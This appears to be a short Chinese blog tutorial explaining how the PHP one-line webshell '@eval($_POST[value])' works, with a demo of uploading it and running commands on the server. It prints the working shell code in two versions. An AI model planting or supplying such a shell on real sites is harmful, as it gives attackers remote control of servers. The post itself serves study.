【20171117早】php一句话脚本原理分析-容易理解

summary:将一句话脚本上传至php网站,然后传入参数就可控制php网站所在主机,asp网站同等道理。

0x01:代码

  

1 <?php 
2 @eval($_POST[value]);
3 ?>

  分析:

  第2行:$_POST[value] 含义:url中post传入的参数名为value的参数

      @eval() 含义:将value内容当做php代码一样执行,说白了就是被客户端插入的php语句。

0x02:演示

  s1:本地创建一句话php文件,phps1.php,老黑添加了打印value值的代码

1 <?php 
2 echo "post[value]=".$_POST[value];
3 echo "<br />";
4 @eval($_POST[value]);
5 ?>

  s2:上传至php网站

  s3:访问phps1.php,因为没哟传入post数据,所以页面显示为空

  s4:重要时刻到了,老黑要在post中传入新建一个black的文件

  s5:到php服务器下查看是否已经创建了black文件夹,创建成功。

 0x03:原理非常简单,当然这只是用来测试的网站,真正的网站必然会将这么明显的一句话脚本给查杀掉,但是一句话脚本也有着更高级的变形,想研究的可以自己搜索。

PS:本文仅供研究学习。

原文地址:https://www.cnblogs.com/heijuelou/p/7850265.html